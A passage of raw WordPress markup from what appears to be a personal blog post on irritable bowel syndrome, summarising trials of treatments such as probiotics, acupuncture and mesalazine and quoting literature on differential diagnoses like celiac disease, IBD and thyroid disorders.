src=\"https://lh5.googleusercontent.com/3O_uEfVZsAkC3sARQuSFvgklEkbx-okq5onFxlFs2rfyACX7-J8MppqULeG8w2wWByw2bknhPu67PvGwdOz5zSv2fcl1UT3g11ySBmO_UXzUlgzEzWDKc3Tpl4TvHIaz93UJ18UW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Soy isoflavones</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Soy isoflavones may improve IBS, but it’s hard to tell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4560632/\">Soy Isoflavones Supplementation for Patients with Irritable Bowel Syndrome: A Randomized Double Blind Clinical Trial (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is just testing soy isoflavones. It’s really hard to tell what’s going on here, as either the soy isoflavones did show some amount of improvement that was almost significant (p value of 0.068), or they actually made things worse.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a randomized double blind placebo-controlled clinical trial, 67 patients with IBS were allocated to consume either soy isoflavones capsules or a placebo for 6 weeks. The primary outcome was a significant reduction in symptoms severity score and the secondary outcome was a significant improvement in quality of life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>45 participants completed the study. There was no significant changes in mean differences of symptoms severity score between the two groups; however soy isoflavone supplementation could significantly improve the quality of life scores (<em>p</em>=0.009).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/Gwt0z67QCnAeyoz2MSiLwj_7d_nkS1t1oHpoxr269unsANIrqP5lImRD2n8K2y9QsVfOg2hO-jliOT4Hb8eLrj1WtZZ_h9_WoyvQEmI-3THmYjwkY-Exaqpb65XsOrDOQOFfPjpO\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Acupuncture</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Acupuncture probably doesn’t work better than fake acupuncture.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3718572/\">Acupuncture for treatment of irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one seems self-explanatory. Also, I’m biased against acupuncture.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We found no evidence of an improvement with acupuncture relative to sham (placebo) acupuncture for symptom severity (SMD-0.11, 95%CI −0.35 to 0.13; 4 RCTs; 281 patients) or quality of life (SMD = −0.03, 95%CI −0.27 to 0.22; 3 RCTs; 253 patients).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Probiotics</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Probiotics may help a little bit but it’s hard to tell. This is compounded by the fact that how probiotics are stored and processed matters a lot to whether they survive all the way to colonize your digestive tract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://scielo.isciii.es/pdf/diges/v105n1/original4.pdf#page=1\">Effect of probiotic species on irritable bowel syndrome symptoms:A bring up to date meta-analysis</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study only looked at species, and not at formulation. Also, I don’t trust that some probiotics improve pain, but not distension. That doesn’t make sense.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/GqMUYE2BjG5CWvQfcimTf9mp5ZlN4BsKG_pJzwf47UuTyktOEW9466BAuIKOyWMQAgqY1lw8nzp2UrMPv7RFc6MUOMsycpjbUGL-1_mOhyd1hPv8nMJRgQoydktSOvmfYAmBRBJG\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/books/NBK77020/\">The utility of probiotics in the treatment of irritable bowel syndrome: a systematic review - Database of Abstracts of Reviews of Effects (DARE): Quality-assessed Reviews - NCBI Bookshelf (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study. It discusses that the only properly performed studies that showed a good effect were on B.infantis.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sixteen RCTs (n=1,342) met the inclusion criteria. Studies scored between 5 and 12 points on the Rome II methodology scale. Eleven studies were considered to be of suboptimal design (precise definition of suboptimal was not clear).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two of the appropriately-designed RCTs evaluated Bifidobacterium infantis 35624 and reported statistically significant improvements in abdominal pain/discomfort, bloating/distension and/or bowel movement relative to placebo (p&lt;0.05). In these two trials B. infantis 35624 was given daily for four or eight weeks as 1x1010 live cells in malted milk drink or 1x106, 1x108 or 1x1010 colony forming units per millilitre in capsule form. None of the other studies described as appropriately designed showed significant improvements in IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No studies reported quantifiable data on relative tolerability or adverse events.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/03007995.2017.1292230\">Efficacy of Bifidobacterium infantis 35624 in patients with irritable bowel syndrome: a meta-analysis: Current Medical Research and Opinion: Vol 33, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study on B. infantis specifically. They found that single B. infantis didn’t help, but combination B. infantis did. That doesn’t really make sense to me. I’d bet it’s a formulation problem.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of five studies were identified as suitable for inclusion, including three studies with single probiotic <em>B. infantis</em> and two studies with composite probiotics containing <em>B. infantis</em>. Treatment with single probiotic <em>B. infantis</em> didn’t impact on abdominal pain, bloating/distention, or bowel habit satisfaction among IBS patients. However, patients who received composite probiotics containing <em>B. infantis</em> had significantly reduced abdominal pain (SMD, 0.22; 95% CI, 0.03–0.41) and bloating/distention (SMD, 0.30; 95% CI, 0.04–0.56). After combining the data from six studies, the improvement of bloating/distention among IBS patients remained significant (SMD, 0.21; 95% CI, 0.07–0.35).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Mesalazine</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mesalazine is probably not effective in IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/65/1/82.short\">Randomised controlled trial of mesalazine in IBS | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>So, this paper basically found that both placebo and mesalazine had the same “response rate”, which was 67%. Then they tried to rescue it by doing a bunch of complicated statistics, but it really didn’t work that well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the primary endpoint, the responder patients were 68.6% in the mesalazine group versus 67.4% in the placebo group (p=0.870; 95% CI −12.8 to 15.1). In explorative analyses, with the 75% rule or &gt;75% rule, the percentage of responders was greater in the mesalazine group with a difference over placebo of 11.6% (p=0.115; 95% CI −2.7% to 26.0%) and 5.9% (p=0.404; 95% CI −7.8% to 19.4%), respectively, although these differences were not significant. For the key secondary endpoint, overall symptoms improved in the mesalazine group and reached a significant difference of 15.1% versus placebo (p=0.032; 95% CI 1.5% to 28.7%) with the &gt;75% rule.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my list of diagnoses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Diverticulitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis/symptoms-causes\"><strong>Symptoms &amp; Causes of Diverticular Disease | NIDDK (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Most people with </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis\"><strong>diverticulosis</strong></a><strong> do not have symptoms. If your diverticulosis causes symptoms, they may include</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.niddk.nih.gov/Dictionary/B/bloating\"><strong>bloating</strong></a></li><li><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/constipation\"><strong>constipation</strong></a><strong> or </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diarrhea\"><strong>diarrhea</strong></a></li><li><strong>cramping or pain in your lower </strong><a href=\"https://www.niddk.nih.gov/Dictionary/A/abdomen\"><strong>abdomen</strong></a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>In most cases, when you have diverticular bleeding, you will suddenly have a large amount of red or maroon-colored blood in your </strong><a href=\"https://www.niddk.nih.gov/Dictionary/S/stool\"><strong>stool</strong></a><strong>.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Studies have found links between diverticular disease—diverticulosis that causes symptoms or problems such as diverticular bleeding or diverticulitis—and the following factors:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>certain medicines—including </strong><a href=\"https://medlineplus.gov/painrelievers.html\"><strong>nonsteroidal anti-inflammatory drugs</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong> (NSAIDs), such as </strong><a href=\"https://medlineplus.gov/druginfo/meds/a682878.html\"><strong>aspirin</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong>, and </strong><a href=\"https://medlineplus.gov/steroids.html\"><strong>steroids</strong></a><strong> </strong><strong><em>NIH external link</em></strong></li><li><strong>lack of exercise</strong></li><li><a href=\"https://www.niddk.nih.gov/Dictionary/O/obesity\"><strong>obesity</strong></a></li><li><strong>smoking</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Testing for colon cancer:&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1093/annonc/mdq168\">Sci-Hub | Primary colon cancer: ESMO Clinical Practice Guidelines for diagnosis, adjuvant treatment and follow-up | 10.1093/annonc/mdq168 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>About 70% of patients with colon cancer are &gt;65 years of age and the disease is rare under the age of 45 (2 per 100 000/year).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer most commonly occurs sporadically and is inherited in only 5%–10% of cases. Migrant studies indicate that when populations move from a low-risk area (e.g. Japan) to a high-risk area (e.g. the USA), the incidence increases rapidly within the first generation of migrants.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Smoking has consistently been associated with large colorectal adenomas, which are generally accepted as precursors for cancer. An updated review suggested a temporal pattern consistent with an induction period of three to four decades between genotoxic exposure and the diagnosis of colorectal cancer. In the USA one in five colorectal cancers may be potentially attributable to tobacco use.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Inflammatory bowel diseases (Crohn’s disease and ulcerative colitis) increase the risk of colon cancer</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients who have had previous malignant disease are also at great risk of developing a second colorectal tumour</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The metabolic syndrome (high blood pressure, increased waist circumference, hypertriglyceridaemia, low levels of high-density lipoprotein cholesterol or diabetes/ hyperglycaemia) had a modest, positive association with colorectal cancer incidence among men, but not among women</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because early cancer produces no symptoms and because many of the symptoms are non-specific (change in bowel habits, general abdominal discomfort, weight loss with no apparent cause, constant tiredness),</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;Up to now two strategies have been available: faecal occult blood test (FOBT) and endoscopy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1773686/#:~:text=Colorectal%20cancer%20(CRC)%20is%20one,an%20increased%20risk%20of%20CRC.\">Influence of dietary factors on colorectal cancer survival (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer (CRC) is one of the most common cancers in the Western world. It is widely accepted that environmental factors, especially dietary factors, are involved in the aetiology of CRC. High intakes of fat, red meat, refined sugar, and energy have been associated with an increased risk of CRC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Inflammatory bowel disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/pii/S0016508514009196#bib18\"><strong>The Diagnostic Approach to Monogenic Very Early Onset Inflammatory Bowel Disease - ScienceDirect</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twin studies have provided the best evidence for a genetic predisposition to IBD, which is stronger for CD than UC.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Genetic disorders that affect intestinal epithelial barrier function include dystrophic epidermolysis bullosa,32 Kindler syndrome,32 familial diarrhea caused by dominant activating mutations in guanylate cyclase C,33 X-linked ectodermal dysplasia and immunodeficiency,34 and ADAM17 deficiency.35</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As high as 40% of patients with chronic granulomatous disease develop CD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>VEOIBD has been described in a number of hyperinflammatory and autoinflammatory disorders such as mevalonate kinase deficiency,54, 55 phospholipase C-γ2 defects,56 familial Mediterranean fever,57, 58, 59 Hermansky–Pudlak syndrome (type 1, 4, and 6),60, 61, 62, 63, 64 X-linked lymphoproliferative syndrome type 165 and type 2,66, 67, 68 or familial hemophagocytic lymphohistiocytosis type 5</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Disorders associated with IBD-like immunopathology include B-cell defects such as common variable immunodeficiency (CVID), hyper-immunoglobulin (Ig) M syndrome, and agammaglobulinemia.75, 76, 77, 78, 79 Several other primary immune deficiencies, such as Wiskott–Aldrich syndrome80 (WAS) and atypical SCID or Omenn syndrome81, 82 can also cause IBD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cow’s milk protein allergy is common and can cause severe colitis that resembles UC and even requires hospitalization. It manifests typically within the first 2 to 3 months of exposure to cow’s milk protein. This may be apparent with breast-feeding or only after introducing formula feeding. Colitis resolves after cow’s milk is removed from the diet, so a trial of exclusive feeding with an amino acid–based infant formula is a customary treatment strategy for all VEOIBD diagnosed when the patient is younger than 1 year of age.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/jpgn/FullText/2014/06000/ESPGHAN_Revised_Porto_Criteria_for_the_Diagnosis.26.aspx\">ESPGHAN Revised Porto Criteria for the Diagnosis of Inflamma... : Journal of Pediatric Gastroenterology and Nutrition (lww.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bloody diarrhea is the most common presenting symptom in UC whereas CD may present with vague abdominal pain, diarrhea, unexplained anemia, fever, weight loss, or growth retardation as frequently reported symptoms. The classic “triad” of abdominal pain, diarrhea, and weight loss occurs in only 25% of patients with CD</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/20786204.2012.10874256\"><strong>Hypothyroidism: an update: South African Family Practice: Vol 54, No 5 (tandfonline.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Arthralgias (joint pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cold intolerance*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Depression</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Difficulty concentrating</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Menorrhagia (heavy flow)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Myalgias (muscle pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weakness</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weight gain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dry skin</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fatigue*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hair thinning/hair loss</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Memory impairment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hyperthyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://academic.oup.com/jcem/article/95/6/2715/2598312?login=true\"><strong>Older Subjects with Hyperthyroidism Present with a Paucity of Symptoms and Signs: A Large Cross-Sectional Study | The Journal of Clinical Endocrinology &amp; Metabolism | Oxford Academic (oup.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hyperthyroidism affects 3% of women and 0.3% of males (1) and is associated with significant morbidity and mortality, mainly from cardiovascular and cerebrovascular disease (2, 3). In iodine-replete areas, the underlying diagnosis is Graves’ disease in 60–80% and toxic nodular hyperthyroidism in most others (4, 5). Patients commonly complain of fatigue, anxiety, tremor, weight loss, palpitation, and heat sensitivity. Clinical signs include tachycardia, the presence of goiter, and a tremor</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Giardiasis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.pt.2009.11.010\">Sci-Hub | Giardiasis – why do the symptoms sometimes never stop? | 10.1016/j.pt.2009.11.010 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Transmission of Giardia is via the faecal–oral route, either indirectly through contaminated water or food, or directly from person to person.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Giardia infection is usually associated with diarrhoea, but can be either asymptomatic or responsible for a broad clinical spectrum, with symptoms ranging from acute to chronic [4]; diarrhoea can occur with or without malabsorption syndrome; there can be nausea, vomiting, and weight loss [5]. Occasionally, Giardia infection can be associated with pruritis and urticaria [6], uveitis [7], sensitisation towards food antigens [8,9] and synovitis [10]. Children might also suffer more serious consequences, including retarded growth and development [11,12], poor cognitive function</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Carcinoid syndrome</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803\">Refractory carcinoid syndrome: a review of treatment options - Rachel P. Riechelmann, Allan A. Pereira, Juliana F. M. Rego, Frederico P. Costa, 2017 (sagepub.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CSy is defined as symptoms and signs of overproduction of serotonin produced by neuroendocrine tumor, such as flushing, diarrhea, dyspnea, bronchospasm, palpitation, and eventually, symptoms associated with right-sided heart failure resulting from carcinoid heart [<a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803#\">Bhattacharyya <em>et al.</em> 2007</a>].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Microscopic colitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2016.477\"><strong>Sci-Hub | Diagnosis and Management of Microscopic Colitis | 10.1038/ajg.2016.477 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;The most common symptom in patients with microscopic colitis (MC) is chronic or intermittent watery diarrhea, ranging in severity from mild to severe with dehydration and electrolyte abnormalities. Other symptoms are commonly present, including abdominal pain, weight loss, and arthralgias, each present in up to half of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, the presence or absence of certain clinical features, such as older age, female sex, use of certain medications or recent initiation of any medication, weight loss, nocturnal stools, and shorter duration of diarrhea, may identify patients at higher or lower risk of having MC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Small intestinal bacterial overgrowth</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6884350/\"><strong>Small Intestinal Bacterial Overgrowth: Clinical Features and Therapeutic Management (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although abdominal bloating, gas, distension, and diarrhea are common symptoms, they do not predict positive diagnosis. Predisposing factors include proton-pump inhibitors, opioids, gastric bypass, colectomy, and dysmotility.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Eosinophilic gastroenteritis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6556468/\"><strong>Eosinophilic gastroenteritis: diagnosis and clinical perspectives (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mucosal EGE is the most common variety, seen in about 57%7 to 100%8,9 of cases, and presents with features of abdominal pain, nausea, vomiting, dyspepsia, diarrhea, malabsorption, or protein-losing enteropathy, which in turn may cause hypoalbuminemia, anemia, and weight loss. Additionally, the occurrence of lower-GI bleeding may imply colonic involvement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Celiac disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/\"><strong>Celiac disease: From pathophysiology to treatment (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dermatitis herpetiformis is an inflammatory cutaneous disease, presenting with diffuse, symmetrical, polymorphic lesions consisting of erythema, urticarial plaques, papules, herpetiform vesiculae and blisters followed by erosions, excoriations and hyperpigmentation. It is characterized by typical histopathological and immunopathological findings. Rarely it is diagnosed in childhood but commonly appears in the third decade.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the most recognized and widely investigated disorders associated with celiac disease is type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune thyroid disorders</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In patients affected by celiac disease it has been reported an increased prevalence (nearly, 2%-5%) of thyroid disorders (<em>i.e</em>., hyperthyroidism-Graves’s disease or hypothyroidism-Hashimoto’s thyroiditis), diagnosed either before than after the diagnosis of gluten-enteropathy</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune hepatitis and other forms of liver involvement</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The involvement of liver is common among patients affected by celiac disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Life-long gluten-free diet</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The current available treatment for celiac disease is life-long gluten-free diet[<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B91\">91</a>-<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B93\">93</a>]. Generally clinical improvement is achieved within a few weeks and the mucosal damage recovers in 1-2 years</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Bile acid malabsorption</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.cgh.2013.04.029\"><strong>Sci-Hub | Methods for Diagnosis of Bile Acid Malabsorption in Clinical Practice | 10.1016/j.cgh.2013.04.029 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Altered concentrations of bile acid (BA) in the colon can cause diarrhea or constipation. More than 25% of patients with irritable bowel syndrome with diarrhea or chronic diarrhea in Western countries have BA malabsorption (BAM)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although BAM is recognized in practice, the most popular current method of diagnosis includes a therapeutic trial of BA binders with symptom improvement; this approach is prevalent and the only resource available in countries like the United States where the noninvasive imaging based on scintigraphic BA retention is unavailable. Unfortunately, in certain disease states, symptoms may only improve with high doses of a BA sequestrant or binder, and the diagnosis of BAM may be missed</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Dyssnergic defecation</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/\"><strong>Diagnosis and Treatment of Dyssynergic Defecation (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation is more common in women with an estimated female:male ratio of 2.2:1.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> Its prevalence increases with advancing age, particularly after age 65.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> African Americans,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> lower socioeconomic status,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> pregnancy,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b14-jnm-22-423\">14</a> and neurological diseases including Parkinson’s disease and multiple sclerosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The etiology of dyssynergic defecation is unclear. In a prospective survey of 118 patients with dyssynergia, we found that the problem began during childhood in 31% of patients, and after a particular event, such as pregnancy, trauma, or back injury in 29% of patients, and there was no cause in 40% of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Lactose intolerance</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.aafp.org/afp/2002/0501/p1845.html?ref=Guzels.TV\"><strong>Lactose Intolerance - American Family Physician (aafp.org)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Common symptoms include abdominal pain and bloating, excessive flatus, and watery stool following the ingestion of foods containing lactose. Lactase deficiency is present in up to 15 percent of persons of northern European descent, up to 80 percent of blacks and Latinos, and up to 100 percent of American Indians and Asians</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Non celiac gluten sensitivity</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/\"><strong>Recent advances in understanding non-celiac gluten sensitivity (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;In addition to experiencing GI symptoms, patients with NCGS most often experience a complex of extra-intestinal symptoms, including a “foggy mind”, which is described as an inability to concentrate, reduction of mnemonic capabilities, and lack of well-being as well as tiredness, headache, anxiety, numbness, joint/muscle pain, and skin rash/dermatitis</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to self-reported data, the prevalence rate of NCGS ranges between 0.5% and 13% in the general population <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>– <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-5\">5</a>, and prevalence is higher in women <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-3\">3</a>, teenagers, and patients in the third to fourth decade of life <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-4\">4</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Helicobacter pylori</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a 